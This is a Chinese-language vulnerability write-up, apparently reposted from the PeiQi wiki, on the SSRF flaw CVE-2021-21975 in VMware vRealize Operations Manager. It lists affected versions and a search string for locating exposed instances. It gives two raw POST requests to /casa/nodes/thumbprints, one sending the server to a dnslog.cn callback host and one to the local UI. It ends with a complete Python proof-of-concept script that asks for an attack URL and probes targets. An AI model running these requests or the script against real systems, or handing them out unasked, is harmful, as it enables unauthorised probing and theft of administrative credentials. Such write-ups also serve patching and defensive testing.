VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975

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原文链接：VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975


一、漏洞描述

vRealize Operations Manager API包含服务器端请求伪造。可以通过网络访问vRealize Operations Manager API的恶意攻击者可以执行服务器端请求伪造攻击(SSRF)，以窃取管理凭据。

二、漏洞影响

vRealize_operations_manager: 8.0.0, 8.0.1, 8.3.0, 8.1.0, 8.1.1, 8.2.0, 7.5.0
cloud_foundation: 4.x 3.x
vRealize_suite_lifecycle_manager: 8.x

三、漏洞复现

title="vRealize Operations Manager"

访问登录页面如下
​
发送请求包如下

1. POST /casa/nodes/thumbprints HTTP/1.1
   
2. Host: xxx.xxx.xxx.xxx
   
3. Content-Type: application/json;charset=UTF-8
   
4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
   
5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   
6. Content-Length: 24
   
7. 
   
8. 
   
9. ["eheeyd.dnslog.cn"]

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​

1. POST /casa/nodes/thumbprints HTTP/1.1
   
2. Host: xxx.xxx.xxx.xxx
   
3. Content-Type: application/json;charset=UTF-8
   
4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
   
5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   
6. Content-Length: 24
   
7. 
   
8. 
   
9. ["127.0.0.1:443/ui"]

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​

四、漏洞POC

1. import requests
   
2. import sys
   
3. import random
   
4. import re
   
5. from requests.packages.urllib3.exceptions import InsecureRequestWarning
   
6. 
   
7. def title():
   
8.     print('+------------------------------------------')
   
9.     print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
   
10.     print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    
11.     print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    
12.     print('+  \033[34mVersion: VMware vRealize Operations Manager                         \033[0m')
    
13.     print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    
14.     print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    
15.     print('+  \033[36mDnslog      >>> xxx.dnslog.com                                     \033[0m')
    
16.     print('+------------------------------------------')
    
17. 
    
18. def POC_1(target_url, v):
    
19.     vuln_url = target_url + "/casa/nodes/thumbprints"
    
20.     headers = {
    
21.         "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    
22.         "Content-Type": "application/json;charset=UTF-8"
    
23.     }
    
24.     data = '["{}"]'.format(Dnslog)
    
25.     try:
    
26.         requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
27.         response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=10)
    
28.         if response.status_code == 200 :
    
29.             print("\033[32m[o] 目标 {} 可能存在SSRF漏洞,请检查 Dnslog 响应 \033[0m".format(target_url, vuln_url))
    
30.         else:
    
31.             print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url))
    
32.     except Exception as e:
    
33.         print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))
    
34. 
    
35. if __name__ == '__main__':
    
36.     title()
    
37.     target_url = str(input("\033[35mPlease input Attack Url\nUrl    >>> \033[0m"))
    
38.     Dnslog = str(input("\033[35mDnslog >>> \033[0m"))
    
39.     POC_1(target_url, Dnslog)

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